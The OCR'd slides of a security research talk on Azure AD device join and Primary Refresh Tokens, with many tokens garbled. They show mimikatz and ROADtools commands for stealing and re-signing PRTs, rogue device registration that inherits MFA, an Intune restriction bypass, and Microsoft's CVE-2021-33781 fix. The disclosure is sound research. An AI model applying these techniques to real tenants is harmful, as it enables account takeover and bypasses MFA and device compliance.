/OUTSIDER
SECURITY

Breaking and fixing Azure AD device
identity security

Dirk-jan Mollema / @ _dirkjan



‘OUTSIDER
About me | SECURITY

- Dirk-jan Mollema

- Lives in The Netherlands

- Hacker / Researcher / Founder / Trainer @ Outsider Security
- Given talks at Black Hat / Def Con / BlueHat / Troopers

- Author of several (Azure) Active Directory tools
- mitm6
- Idapdomaindump
-  BloodHound.py
- aclpwn.py
- Co-author of ntimrelayx
- ROADtools

Blogs on dirkjanm.io
Tweets stuff on @_dirkjan




Talk outline

* Azure AD and zero trust

* How device join works

* Primary Refresh Tokens, TPM and their protection
 Stealing PRTs and the Microsoft response

e Abusing device join scenario’s




Terminology

e Azure AD

* |dentity platform for Office 365, Azure Resource Manager, and other Azure
things
 Also identity platform for any first/third party app you want to integrate with it

* This is not about Azure infrastructure/VMs/etc
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Device identity

* Devices registered / joined to Azure AD
* Mobile (Android/iOS) or desktop OS (Windows 10/11, MacOS)
* Device identity exists as a device object in Azure AD

e Can be managed by Intune (or third-party MDM)




Device join and compliancy

* Device joined to Azure AD

 Managed by MDM (Intune)

* Applies policies to devices

e Applied policies make devices compliant

* Conditional Access used to restrict access to resources to compliant
devices



Locking down trusted devices

e Restrict Intune enrollment to only corporate devices
* Block BYOD devices

The following enrollment methods are authorized for corporate enrollment:

¢ The enrolling user is using a device enrollment manager account.,

¢ The device enrolls through Windows Autopilot.

e The device is registered with Windows Autopilot but isn't an MDM enrollment only option from
Windows Settings.

¢ The device enrolls through a bulk provisioning package.

¢ The device enrolls through GPO, or automatic enrollment from Configuration Manager for co-

management.




Research scenario

* Windows 10 devices

* Autopilot in use for hardware matching

* Personal devices restricted in Intune

* Device compliancy required in Conditional Access

* Hardware protection of secrets via TPM




Research questions

* How are devices joined to Azure AD?
 How are secrets protected by hardware?

* Can we extract the secrets or bypass the need for them?

e Can we bypass the compliant device requirement?




Device join flow — Windows 10

Domain join instead

& Sign in with Microsoft

Work or school account

someone@example.com
Sign in with a security key

Which account should | use?

Sign in with the username and password you use with Office 365 or other business services
from Microsoft.

Privacy & cookies Terms of use




Technical flow

* Two keypairs are generated
* Device key
* Transport key

* Public keys are sent to Azure AD

* Private keys remain on device




Registration request

POST /EnrollmentServer/device/?apl-version=2.0 HTTP/2

Host: enterpriseregistration.windows.net

Connection: Keep-Alive . .

Accept - appli P Access token for device reg service

Authorization: Bearer eyJOexXAi0iJKVIQiLCINbGCciO0iJSUzIINIIsSINngldCIGImwzc1ELNTEjQOgReElJWWkxIVEd3ID1INSNZYAMCIsImtpZC]
WwzUGE5N3IIXZHBXEV1IGZO5IMWI rbFI3FTOLILCINEXI10TsicHAK I iwibWZhI 1OsImFwecGlkI joiMj LTkKOWVKOT gt Y TQZ0SOONTM2LWFKZTIt.Zjk4My
ZNwI joidKN1c19pbXBlcnNvbmFOaWouliwic3Vil joilLWxheXd5MnBrWwW15d1Z25VVERe 1BZNERNY 3VZd2xaNF J0eWt zeWd2c002ay I sInR1bmFudF
Hc JEXYRWZ2e8GTTEHD fcMOb fCKy IWBkmdAKVIAIHQUBbD7UZT4L 12aK9GoR040SY XKIgXINdvFHKD ZrIN1TOFcg-eB81lWZNMOMFNySkVJIsSG3INWYHBZIm /¢
6 USer-Agent: Dsreg/ [U.0 (Windows [U.U. [9U08Z.TZ37)

Ocp-Adrs-Client -Name: Dsreg

2 Ocp-Adrs-Client-Version: 10.0.19041.1202

9 Content-Length: 2740

I=) .o . .

" ‘ Certificate Sign Request for device cert

"CertificateRequest":{
"Type":"pkcslio",
"Data" : "MIICATCCAVOCAQAWMDEUMCWGATUEAXMINGUSODBERDKT Qi gZ2RCOOMzAZL TKEM UL OUFDMDY 2Rk TwMTREBADCCAS TwDQY JKoZIhve M
CwUAAATBAQBIErciNgz0OCI61iSNv+DT jMN+xwpQLBAZOSSsweQoXWithpScoglMsQPs7mX Xzl oLhKod CMAGLRCDRMbOIQSyiVIIZrLBgeS4JgT1

N P= L kD

“%ransportKey”:“UlNBMQﬂIﬂﬁﬂDﬁﬂﬂﬁﬁﬂEﬁﬁﬂﬁﬁ&ﬂﬁﬁ&ﬂﬁﬁﬁQﬁBuqulmsprJR?aTwsiJBEBEchrHFI2fPkKBwBehBEudd15wJTMyanNch

"TargetDomain":"iminyour.cloud", Public RSA key for transport
"DeviceType" :"Windows",

"OSVersion":"10.0.19042.1237", Devi .
"DeviceDisplayName" : "DESKTOP - ANBNSHS ", evice properties

"JoinType":0, | = iAi
"attributes": 0 AADJOII’]

"MSA-DDID": "dD1FdON3QWhhRUJIBQVVScZRzcnk40HZ1IMGT jSEFNTYUSANSpTak 9VOWNBQVHhITIBLSKS1VysrivmcveXZSTERXMGhZVGMZ2Wm 111
UnhleFh4VFpdQs8sYUYzcUdpcbRaZOFBQUZDMHBoatxPaCtY ZOFHNNpJd2JPek 1v(Q jhBYnpGOQnISVOkzcHo3MmNVUWhkSMFBN1ZEeW4 2bFF vi
NVBCUEhFcm IwkZVVNUpyd i RTVWITVIWT XODNKNVENSVoZTVEOLZ200c XEPenBHOVI rcDarTGxBUFBEQLZNVOgxWE1PawFeNU140m5sUGE 1 dHT J

|ReuseDevice':'true’, Device Ticket (can be left out)
ReturnClientsSid":"true




HTTP/2 200 0K

Content -Length: 1706

Content-Type: application/json

Request -Id: 6762d32d-3a54-40d9-9572-d668d02073dc
Strict-Transport-Security: max-age=31536000; includeSubDomains
K-Content -Type-0Options: nosniff

Date: Fri, 24 Sep 2021 10:13:27 GMT

{

"Cortificratea" {

"Thumbprint " : "97E32DAOAEDOCESDEFZ20044F551ABS/F1Z4AFEAT ",

"RawBody" : "MIID8jCCAtqgAwWIBAgQIQ46]1vIDD ] rdDxWIoGETcSTANBgkghk 1 GOwWEBAQ
EYPAABARI K TDNRNASxEFwwnnueZsxtmYmrgwx T IO rIQvBNAMISTnvdhyInny51 19 rHrCM
SqGS5Ib3D0EBCWUAALTBAQAZpDD rhBATK TUNRZEAZY /BENbohial 30HEY /VsxkiTomeYZh

b,
"User":{

"Upn":"morepolicy@iminyour.cloud”
b,

"MembershipChanges": [

{

"LocalsSID":"5-1-5-32-5447,

"AddSIDs" [
'5-1-12-1-3449050006-1318031086-1069713303-529194043",
"5-1-12-1-1513299610-1165403084 -3608819602-1191284924",
"5-1-12-1-1917785901-1244467118-3850766527-757446970"




PS5 Cr\Windows\system32> dsregcmd fstatus

| Device State

AzureAdloined
Enterpriseloined
Domainloined
Device Name

| Device Details

Deviceld

Thumbprint
DeviceCertificateValidity
KeyContainerId
KeyProvider

TpmProtected
DeviceAuthStatus

: YES5

MO
MO
DESKTOP-4NBENSHS

efe3f373-2581-478b-a5ed-4cfda515d292
97E32DABAEDBCE3DSF20844F551AB97F134AFEST
[ 2821-89-24 @9:453:27.888 UTC -- 2831-89-24 10:13:27.880 UTC ]

r 415dlecl-bclE-4aaf-9ad2-adsceeS7eB2i

Microsoft Platform Crypto Prowvider

SUCCESS




Private keys stored in Trusted Platform Module

R

Result

Key operation

OS




After device join — AAD sign-in

e User signs in using Azure AD username + password
* |s passed to LSASS CloudAP, which requests a Primary Refresh Token




Primary Refresh Token flow (1)

* Challenge is requested from online service

POST /6287T287T-41771-4322-9651-a8697/d8telbc/oauth2/token HITP/1.1

Host: login.microsoftonline.com

Cookie: stsservicecookie=estsfd; x-ms-gateway-slice=estsfd; fpc=AjAF104itExKpACBRZSibzk
Content-Type: application/x-www-form-urlencoded

User-Agent : Windows-AzurelAD-Authentication-Provider/1.0

Client -Request-Id: OE446AFB-6CEBZ-41FB-AZ1A-419BAZES1FS3

Return-Client -Request-Id: true

Content -Length: 24

Connection: close

graﬂt_type=5rv_challengﬁ



PRT flow (2)

* Nonce is returned

HTTP/1.1 200 0K

Cache-Control: no-store, no-cache

FPragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=315366000; includeSubDomains
A-Content-Type-Opticons: nosniff

P3P: CP="DSF CUR OTPi IND OTRi ONL FIN"

client-request-id: Geddbafb-6c82-41Tfb-a2la-419baZe91fo93

X-ms-reguest-id: 3dd3cdB8a-al8d-4cct-b586-26b4c0511dE0E

X-Mms-ests-server: 2.1.12071.13 - WEULRZ ProdSlices

Set -Cookie: Tpc=AjAF1O04jtoxKpACBP2Sibzk,; expires=5Sun, 24-0ct-2021 10:22:31 GMT; path=/; secure; HttpOnly; SameSite=None
Set -Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly
Set -Cookle: stsservicecooklie=estsfd; path=/; secure; samesite=none; httponly
Date: Fri, 24 Sep 2021 10:22:31 GMT

Connection: close

Content -Length: 122

{"Nonce" : "AwABAAAAARACAOz _BADO OFfm_83zdLr_ gXoGltUeWB-wADinyVsLfotRWZBn57xPkioE]jSB8xpiBYUKULtRNESDIURSfdNyOEzHsSILROXSgAA" }



PRT flow (3)

 Signed data is sent to the server

POST /6287f28f-4f7f-4322-9651-a8697d8felbc/oauth2/token HTTP/1.1

Host: login.microsoftonline.com

Cooklie: stsservicecooklie=estsfd; x-ms-gateway-slice=estsfd; fpc=AjAFLO4jt5xKpACOBPZ2Sibzk
Content -Type: application/x-www-form-urlencoded

User-Agent: Windows-AzurelD-Authentication-Provider/1.0

Client -Request-Id: OE446AFB-6CBZ-41FB-AZ1A-419BAZESQ1IFS3

Return-Client -Request-Id: true

Content -Length: 3026

Connection: close

windows apl version=Z.2&grant type=

urns3alet fS3aparamss3acauth%3agrant -type%s3ajwt -bearerkrequest =

eyJhbGeciOiJSUzI INAIsICIOeXAL01JKVIQILCALeDY T joi TULIRDhgQENBAHFNQXdIQkFNSVEONmpsdk pERGE
YySKRAVETvRzZUY INUQUSCZ 2t xaGt pRz13MEJBUXNGOQURCNETYWXKAFUVILO1pJdbW1laUHIMRIFCR1JZRGItViBNQ1
VHOZ2dt UBpvbVQ4axhrQVIdrVeI zZHB1 bV IZZDNNdOhRWURWUVFERXhaT LVEMVE jEWRoYm1sN1T1YUnBiMjROUVdOa
TpYTRpNQ3NHQTFVRUNATWE PRER riwwW1Gal TUUXRNMTUGT VMWMEST TmhMVGxgTnpNdE1EazFNRO14W1dGal 1UazNN
QiRYRFRJeE1Ea310REE1ITKRNeUdxb1hEVETI4TURreUSERKANVELST jFvdOxERXRNQ3INHOTFVRUFATWE aVGRsTT]
Zek 56TKRNalUOTVMWMESEaGTMVOUXxWTdRAEEHTm 1aRAUxTVRWat 1ga31NSUTCSWpBTk Ina3Foaz THOX cwQkFRRU



G1ltUaWB

-
-

83zdLr_qgX

B_AFfm_

B

.-.- i

£

-
-

_id":
_nor

ient
reguest

-
LS

PAYLOALD:

i

_
LRS

tRNESD1

-

SBBxp]jBYukKl

-

[ )

LfetRWZ

[ -
=]

wAD] nyV:
iNyBEzH

J1ROXsgAA

[
=

-

-

Signed data content

ugs

azd

apenlc

il
=

¥
L]

gids

roup

-
=

[ )

L]

69713383-5

4843

-]
i
LEy
=
o

ur .cloud’

-
=

-
]

miny

.
password"”,
epolicyd

mo reps

-

L I-I —
username

69/7a




PRT flow (4)

"token type":"Bearer"

"expires in":"1209599", Incorrect, actually 90 days
"ext_expires in":"0",
"explres on":"1633688624", PRT

"refresh token":"O.AXQA] KHYNSPIKOWUahpfY hvlIc/gihtoBdlsnVeMwWmIZTtOABw . AQABAAAARADYL -DLAZVOV(
ronCmax1juerlhbAx cylB3B74UDeyWQidGMght tREIBo914DEvt 7T971b1B5NADoB=z/RTESGA I TAdFPU-dEeYTtEJd5 I
Puf8cril9l59D4devY hoXa9lEowkVyNTbKEbO jy3CEK TgQNNOOPPYzI /chAobc jec -FdUe@wldT ZuMKbvwrwi I ZJFek 1IPVoVE
"refresh token expires 1in":1209599,

"1d token":"eyJOeXA101JEVIQILCIRbGC101Jub251INn0 . eyJhdWQi01iIz0GFRMZTI ANy 1AMDZKLTQAMT ctY J I 3NSE:
p20vQZhhbmdlUGFzc3dvemQuyY XNweCIsIndol joiMCEBWFFBal9LSF LuOVBIab9xVWFocGZZXKZ2h25WM3cWpodGYCZET:
cm9lcF9zaWRzXZ21hcCIGIkFBPTOLTQ. ",

"client info":"eyJl1aWQiOil3M{BmMTcyZCOwWmELL TRAMmOTY mYwOCOANmUIMZFIOTTI IMnOQil CI1dGLkI joiNjI4l
"session key jwe":"eyJlbmMiO1JBMiUZRONNI iwiYWxnI jolMNBLUSBRVALTQ . AQCHGXOGWIxWS9GI yCpHRaMEGE
ZU-40w3100G 3Q0S1RkdCXANBDD -DEZJBChmydZ1gt6gaxSUL tLowwY ITAMAATAASABARAAAAABQALACBF] NeZnWwKkl

} Encrypted session key with transport key




TPM and storage keys

* TPM has root storage key in hardware
e Storage keys are stored on disk encrypted with storage root key
* Device transport key is a storage key

* Session key is issued by Azure AD encrypted with public key of
transport key

e Can only be used by loading the storage key (transport key) in the
TPM



To summarize — sign-up flow with TPM

* Device cert private key, transport key and session key are tied to the
TPM

* Possible to use from the OS, but not possible to extract from TPM
(even as SYSTEM)

e Issued PRT is used for Single Sign On to Azure AD resources




Abusing PRTs from the endpoint




Local Primary Refresh Tokens attacks

* As regular user (or malware running in user session)
* Request PRT usage by asking LSASS for SSO data

e As Administrator / SYSTEM
» Steal PRT if not protected by TPM
* Interact with PRT keys in LSASS using crypto APIs




How Windows uses PRTs

* Native apps:
e Request tokens from Web Account Manager (token broker)

 WAM passes request to LSASS, which asks for tokens using signed PRT
assertion

* Browser based (web) flows:
* PRT “cookie” used as header to authenticate requests to Azure AD login pages




Using PRTs for SSO from user sessions

* Any app in the user session can request Single Sign On (SSO) data
* Can be used to sign in to any Azure AD connected app or website

* References:

e RPC Approach (by Lee Christensen): https://posts.specterops.io/requesting-
azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-
2b0409caad30

 Calling browsercore native component with ROADtoken:
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/




Stealing PRTs as admin

* Research in combination with Benjamin Delpy (@gentilkiwi)

e Built a combination of Mimikatz and ROADtools to obtain and use the
PRT

mimikatz sekurlsa: :cloudap
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PRT cookie structure (JWT)

E nCOd ed PASTE A TOKEN HERE DeCOdEd EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

eyJhbGci0iJIUzZITNiIsImNOeCI6Imw4cBZYNTR
RVOF6UWVUSTg4ANFFoaUFoLys4UzNFNX1uIn@.ey
JyZWZyZXNoX3Rva2VuljoiMC5BWFFBal9LSF1u0
VBJaB9XVWFocGZZX2h2SWM3cWpodG9CZEL1zb1Y2
TVdtSTJUdDBBSW8uQWdBQkFBRTxzbmlwPm10Tj1
2TWODM283Vm1XdWZhRnNTWUwxMjBaRST1SUWtZd1
NrQ31ROUJGaFhsWkJ10XB2cnpjdVhRSFBNOXBke
k84emNNdWpPSUhGdmJFaERiIRWdQSBgydEVMdyIs
ImlzX3ByaWlhcnkiOiJOcnV1IiwicmVxdWVzdF9
ub25jZSI6IkF3QUJBQUVBQUFBQBFPe19CQUQWXT
9qU1RHaE1WUFJRaTZpaDASRWRBMFIwZKhZRWt3T
1kydV9Bem@yVDI5SenUzN3p1c1VxemNycUwzUlZU
bTRyYUXBrdjEzVW1xNHpSTXpoNGxWN20yUy1rZ6F

{
"alg": "HS256".
"ctx": "18SFX7TQWAzQeTI884QhiAh/+8S3E5yn"

}

PAYLOAD: DATA

{

“refresh_token":
"0.AXQA]_KHYnN9PIkOWUahpfY_hvIc7qjhtoBdIsnVoMWmI2TtBAIo. A
gABAAE<snip>mhN9vMoC307VmWuTaFsSYL128ZE-
RQkYwSkCyQ9BFhX1ZBu9pvrzcuXQHPM9pdz08zcMujOIHFvbEhRDbEgGPK
H2tELw",

"is_primary”: "true”,

BInB.YhSI31KwSbn7Ecd6i8C7JlaJE1aWVUaptD
/MdPoEX6k

"request_nonce":
"AWABAAEAAAACAOz_BADB__jRTGhMVPRQi61hB9EdABRABTHYEKWNY2u_

Azm2T29zu37zusUqzcrqL3RVTm4rQpkv13UmgdzyMzh41V7m2S-kgAA™
1




PRT cookie signing flow — software only

Random bytes : ;

Random bytes called a “context” is generated

1

2. Using this context, a key is derived from the session key
3. This “derived key” is used to sign the PRT cookie

4. The PRT cookie (JWT) is used in Azure AD to sign in Nonce from

AVASI(=WA\D,

PRT cookie
(JWT)




PRT cookie signing flow — with TPM

TPM
II%%HHHIH!I'
Random bytes
(context)
PRT - Nonce from " Derived key
JAVASI(=WAYD.

¥

PRT cookie
(JWT)

LSASS process




Mimikatz magic with TPM

mlmlfa:: dpapi::clmudap{d < -ﬂlUH thhah A
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Use derived key and context to recreate PRT
cookie

(ROADtools) user@localhost: ¢ roadrecon auth --prt-cookie eyl0eXAi0iJKV1QiLCJhbGci0iJIUzIINiIsI
mNOeCI6Imlhej ZPeElfWjZIVnhpWijRrVmlZVmhtVGOPend2M190In0. evIyvZWZvZXNoX3Rva2VulioiQVFBEQKFBQUFBQUFHV19idiIxbl
FRNFIPcWgwXzEtdEFaRmVYbWowbnU2c50xRzUSTE1Ud2)
10DJiVEdST2xCSDZGVjhxcjViZ2hkUONsQjZvN3ppWFRI
bVdjRXVKNOxscVRMMBOELXg2TESFeFZQOUpVbTBZWDIyI
FR6aExvV2VPVzRKMEhBemJqeFRKUFBPQWZsVV94SFZVMI
YOYULGY2dGT1FrQVE3VnhrZkhmajEyLVRKMYM3dUNTVm!

OUWxaY3RrcFZzN1ItTXBtRkJwcmRua®d251Mzc21QY 3o

UONWb21UMzdIZUg3RDICcGpWe19XUnpoYmNaWDLXYTZ6!

ELOUNdIZnZOdEISZjRjWmFJQS1ESVpBOkZwZkI6N] LuV:

JFb2FDYzJ1Y(jYxdmg@YjZESVMA4d19PcndGU2ZhJcnclOm.

EMXNMZOpGeX1LXR1hsQklgZUtxTWt1SmowUDINS2xKRjB

cFNRb3VyR1h3anNLWDBEMXRnMEwxbGN1eFhXc1JyMzNH:

3c2eVBkVHAQZUdIOCloWlRkdy1vVHI3d2V4MHIaeEZEUI

hwdEJYLVRKWTBucE8zQ1VvLW5qVnM5VFNpampnSOF3ZHZTVDgzNjg3clpnd lhJUWhETGLOMjJzcjRrZ1puMlBITVLyTOtzM2xqWj ZidTF
oYTZhUmNiZ2U1Ti1SeFI35zdkZmoCbWolROh1SEOVY1ohUAFBT iwiaXNfcHIpbWFyeSI6InRydWUiLCIpYXQi0iIxNTK2NjQ4NjAXxING.
BRn00VaNAa98KhaGa0Tth: --prt-context| 8096c7092a6T23cd574844187Te@117771475694798eTeb
1| --derived-key T7c8a549e5d7998743d6ab38a3039cde/elfd/e5bldb76ab002%e8aabaal24d2b

Re-signed PRI cookie using custom context

Tokens were written to .roadtools auth




PRT as admin TL;DR

* If you’re admin on a device with a PRT, you can steal the PRT if it’s not
in TPM

e If it is in the TPM you can still acquire context/derived key
combinations which allow you to use the PRT without the device

* Longer version:
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/




Microsoft’s response

* In the August 2021 Windows updates, patches were introduced which
changed this behavior.

* Also changed storage mechanism in LSASS, breaking Mimikatz
CloudAP functionality.

e A later mimikatz update resolved this issue, but key derivation only
possible using old mechanism




Updated PRT cookie structure (JWT)

E nCOd ed PASTE A TOKEN HERE

eyJhbGciO0iJIUzITNiIsImtkZ192ZXIi0jIsImN
BeCI6ImwdcBZYNTRRVOF6UWVUSTgANFFoaUFoLy
s4UzNFNX1uIn®.eyJyZWZyZXNoX3Rva2VuljoiM
CoBWFFBal9LSF1uOVBJaB9XVWFocGZZX2h2SWM3
cWpodGOCZE1zb1lY2TVdtSTJUdDBBSW8uQWdBQkF
BRTxzbmlwPm10Tj12TW9DM283Vm1XdWZhRnNTWU
wxMjBaRS1SUWtZd1NrQ31R0OUJGaFhsWkJ10XB2c
npjdVhRSFBNOXBkek84emNNdWpPSUhGdmJFaER1L
RWdQSOgydEVMdyIsImlzX3ByaWlhcnkiOiJécnV
1TiwicmVxdWVzdF9ub25jZSI6IkF3QUJBQUVBQU
FBQBFPel19CQUQwWX19qU1RHaETWUFJRaTZpaDASR
WRBMFIwZkhZRWt3T1kydV9Bem@yVDI5enUzN3p1
c1VxemNycUwzU1ZUbTRyUXBrdjEzVW1xNHpS5TXp
oNGxWN20yUy1rZOFBIn®.isRhIdfY3U25Gq57GT
119xEEMXDpZkCdJOmgwY r lwLk

D e C 0 d e d EDIT THE PAYLOAD AND SECRET
HEADER: ALGORITHM & TOKEN TYPE

{
'alg": "HS256"

"kdf_ver": 2,
"ctx": "18sFX7TQWAzQeTI884QhiAh/+8S3ESyn”
}

PAYLOAD: DATA

{

“refresh_token":

"0.AXQA] _KHYn9PIKkOWUahpfY_hvIc7qjhtoBdIsnVoMWmI2TtBATIo. A
gABAAE<snip>mhN9vMoC3o7VmWufaFsSYL120ZE-
RQkYwSkCyQ9BFhX1ZBu9pvrzcuXQHPMIpdz08zcMu jOTIHFvbERDbEQPK
H2tELW"

"is_primary"”: "true",

"request_nonce":
"AWABAAEAAAACAOz_BAD@__jRTGhMVPRQ161h@9EdABRBTHYEKWNY2u_
Azm2T29zu37zusUqzcrgL3RVTm4rQpkv13UmgdzyMzh41V7m2S-kgAA®™
'



Changes

* Previously a random context was used to derive a signing key
* Now the SHA256 hash of random context + JWT body is used
 Documented in MS-OAPXBC

3.1.5.1.3.3 Processing Details

Article = 10/04/2021 » 2 minutes to read 5 &

The client first requests a primary refresh token from the server as defined in sections 3.1.5.1.2 and 3.2.5.1.2. It then uses
the Primary Refresh Token ADM element (section 3.1.1) to populate the refresh_token field in this request for the access
token.

The client derives a signing key from the Session Key ADM element (section 3.1.1), the constant label "AzureAD-
SecureConversation", and the ctx value provided in the JWT header of the request by using the process described in
[SP800-108] «". The client uses this signing key to sign the request. If the capabilities field of the Openl|D Provider
Metadata ([MS-OIDCE] section 2.2.3.2) from the server includes the value "kdf ver2", the client can use KDFv2 version<2
for deriving the Session Key. If the client chooses to use KDFv2, the client MUST use SHA256(ctx || assertion payload)
instead of ctx as the context for deriving the signing key. The client MUST also add the JWT header field "kdf ver" with
value set to 2 to communicate that KDFv2 was used to create the derived signing key.

Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oapxbc/89dfb8d6-23b8-4963-8908-91b34340e367



PRT cookie signing flow —with TPM

TPM
Session key

KD F e \ LSASS process

4 SHA256 hash
I |
el e
| 2 | 3
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Fix details

e Patched as CVE-2021-33781

* New method prevents pre-generation of context/derived key
combinations that could be used later, since the nonce is part of the
KDF function.

* Downgrade from kdf ver2 prevented by storing the KDF version in the
PRT itself (assumed) at the moment it is first issued.




Abusing device join scenarios




PRT stealing attack downsides

* Need to be admin on the device

* Need to dump LSASS

* No longer possible when secrets are stored in TPM
* Device disabled = PRT disabled




Combining knowledge

* We know how to get our own Primary Refresh Token by registering a
device.

* We know how to get an access token from a user session by using
SSO.

* How about registering a new device with an SSO token?




Registering with SSO

* Initialize SSO flow

\ROADToken.exe AwABAAEAAAACAOz BQDO® wxVcH LqySeMmzflOarVabb6IsYlsEeGuZoBMNugBlmlWSPKAaXNuDAgw?GAb2rKu

b - CAOz BOD® wxVcH _LqyS6MmzfJlOarVabb6IsYlsEeGuZoBNugBlmWSPKAaXNuDAgW7GAb2 rKWQEeL 7 ZNtSAIVgQESE400Kwkbakg
1ppll~- on :Dmmaﬂd line
e nse ] " :"x-ms-RefreshTokenCr i , da :"Ev]th:iEi]:U1:1Hi:5:E]PEEEFd

_bE ‘'rRDBkSM1Ib86ifQ.ey A3 '

BEQkFERUFEQUOTLURMOT H'_




Register device

¢ python registerdevice.py

"QHH[BHIWWH*EIIHPEH ANBgkghkiGOweE
. I@HmHhLT1

'‘User': {'Upn': 'morepoli
'HIT1T1I1T~ subject=<Name((

Note: this POC is now part of the roadtx device module



Obtain PRT using user password

Note: this POC is now part of the roadtx device module



Sigh in with PRT

0. nz‘l, XQAj KHY n '4 PI_ kOWU a hptY h '-._,-'I_ c7qj |_ toB I SN V 'f;u MwmI ._T"_' ':EZI A




# JWT OPEN JWT FROM o ALGORITHM RS256

Encoded Decoded

HEADER:

eyJOeXA101JKV1QiLCJhbGc10

{

1JSUzI1NiIsIng1dCI6Im5Pbz “typ": "WT,
NaRHJPRFhFSzFqS|1 doWHNsSFJ o el oXE T e e

fS..I h FZ}"I S Imt DZCI6 ImE}PbZNa : "kid": "nOo3ZDrODXEK1jEWhXs1HR _KXEg"
RHJPRFhFSzFqS1doWHNsSFJfS .,
ThFZyJ9.eyJhdWQiOiJodHRwc {

zovL2 dYYXBOLﬂdDmeUdS Mubm 1IE ::E:fg;hlq:mﬁen:ﬂn"rgef
V@Iih‘u‘iﬁXNZIj oiaHREﬂcHME:LyQ 4f7f-4322-9651-a8697d8felbe/",
zdHMud21uZG93cy5uZXQuNj 14 BN
N2YyOGYtNGY3Zi00MzIyLTk2N e

TETYT gz 0TdkOGZ1MWJ J L}/ IsIm ' -UL JBTAAAASZIq5qg2MgcnEwdgY SUXPEUBERNPUMdgbyu
LhdCI6MTYyMDgxNjgz0SwibmJ
mIjoxNjIwODE20DM5LCJ1eHAL PP
0JE2MjA4MiA3MzKsIMFjcilI6l ..
jEiLCJhaW8i0iJBVVFBAS84VE ik



New device registration attack summary

* SSO token can be requested from user session without admin
privileges

* Access token contains MFA claim
* New device registered will also issue PRT with inherited MFA claim
* Only password (or SSO in case of AD FS) is required to get a PRT

* Free MFA upgrade!




New device upsides/downsides

e Upside
* |s separate from the old device, so if old device is disabled our PRT will still
work.

* Downside
* Requires permissions to register devices (not always allowed)

* Does not mean the device will be allowed to enroll into Intune (for
compliancy)




Bypassing Intune restrictions




Device registration vs Intune registration

* Device registration process registers device in Azure AD
* Separate process to register device with Intune

* Restrictions on non-corporate devices in Intune still allow you to
register devices in Azure AD (this is controlled separately)

* If registration done from non-corporate device, it will actually get an error
from Intune and then delete the device from Azure AD.

* An Azure AD registered device will not gain you anything since Conditional
Access is set for compliant devices, not joined devices.



Azure AD registration observations

* Device with Autopilot pre-registration can register in Intune

* When the device is wiped and re-installed, the new device will
overwrite the old device object in Azure AD

e How does Azure AD know it is the same device?




Reglstratlon request

POST /EnrollmentServer/device/?apl-version=2.0 HTTP/2
Host: enterpriseregistration.windows.net
Connection: Keep-Alive . .
Accept : application/ison Access token for device reg service

Authorization: Bearer eyJOeXAi01iJKVIQiLCIREGCiOiJSUZzIINLIIsSIngldCIeImwzclETNTEQRgReEIWWK xIVEdSILTNSNZY4AMCIsIntpZCl
WwzUGE5N3IXZHBXbV1GZOSIMWI rbFIZPTOLILCINEXI10TsicHAK T iwibWZhI 1OsImFwecGlKI joiMj TkOWVKOT gt Y TQZ0SOONTM2LWFKZT It 2 jk4My
ZNwI joldXNTc19pbXBlocnNvbmFRaWIUIl iwic3Vil jolLWxheXd5MNBnWw15d1Z5VVERc 1BZNERNY 3V dZxaNF J0eWt zeWdZ2cobZay I sInR1bmFudF
Hc JEXYRWZe8GTTE5HD fcMAb fCRy IWBkmdAkVIAIHQUBbD7UZzT4L12aK9Go040SY XIgX INAvFHKE ZrIN1TOFcg-e81WZNMOMFRySkVIsG3INWYHBZIm7¢
O User-Agent: Dsreg/1@.0 (Windows 10.0.19042.1237)

Ocp-Adrs-Client -Name: Dsreg

2 Ocp-Adrs-Client-Version: 10.0.19041.1202

S Content-Length: 2740

11 4 Certificate Sign Request for device cert

"CertificateReguest":{
"Type":"pkcsl@",
"Data":"MIICATCCAVOCAQAWMDEUMCWGATUEAXMTINGOUSODBERDKt Q jg2RCOOMzAZLTKEM jUt OUFDMDY 2Rk TwMTRBADCCASTwWDQY JKoZIhve M/
CwUAAATBAQBIErciNgzOCIB1iSNv+DT jMN+xwpQLBAZOSSswbQoXW]ithpY9coqlMsQPs7/mXzI oLhKod CMAGLRCDRMBOIQSyiVIIZrLBogeS4JgT

|

“Transp@rtﬁey“-“UINBMDAIHAADAﬂAAAAEA&AAA&AAA&AAAAQABUUGUIm5prJR?aTw51JBE3EchnKFI fPkX3wBehB8Evdd1SwITMyatxNTHc

"TargetDomain":"iminyour.cloud", Public RSA key for transport
"DeviceType" : "Windows",

"0SVersion":"10.0.19042.1237", Devi .
"DeuiceDisplayName . "DESKTOP - ANBNSHS" | evice properties

”JGlﬂType :
T‘rr‘1hu‘r9q“ {O AADJOIn

"MSA-DDID": "dD1FdEN3QWhhRUJBQVVScZRzcnk40HZIMGT jSFNTYUSAN3pTak SVOWNBQVRITLBLSKO1VysrimcwveXZSTERXMGHhZVGMZ2Wm 1 11
UnhleFh4VFpd4Qs85YUYzcUdpcORaZOFBQUZDMHBoaOxPaCtY ZOFHNNpJd2JPek 1vQ jhBVnpGQnISVEkzcHo3MmNVUWhKSMFENT ZEeW4 ZbFF i
NVBCUEHFcm Iwk2VVNUpyd{ RTVWSTVIWT XODNKNVRNSVoZTVEOL200c XRPenBHOVI reDarTGxBUFBEQLZhVOgxWE1PawFeNU140m5sUGE1dHT J

"ReuseDevice":"true", ; ;
ipor e e T Device Ticket (can be left out)

o= Ll b=




Observations part 2

* Re-using the same “MSA-DDID” parameter between registrations will
overwrite the device.

* Seems to expire after a certain period of time.
* What is the MSA-DDID parameter?




Reversing the registration flow

* Registration flow itself is a web-based app
* Calls WinRT APIs (COM ®)

* Eventually spawns dllhost.exe with dsreg.dll for actual registration
logic.




Reversing the registration process

Decompile: GetMSADeviceTicketImpl - (dsreg.dll) f} | T | @ | ﬁ| -

[4
ol
H
i
I
=
=
I
I
H
i |
m
s
I
=
o
=1
as

LA I
=
[
H
|
=
e

if ({pwszScope == ({ushort *)0x0) |
TraceError( {ushort *)L"%s3: \"%s3\" should not be null.”,L"DeviceTicket::GetMShDeviceTicketImpl™,

L"pwszScope™) »

[ T T R I I o I
1 &

WriteNullCrEmptyParameterFailureEvent
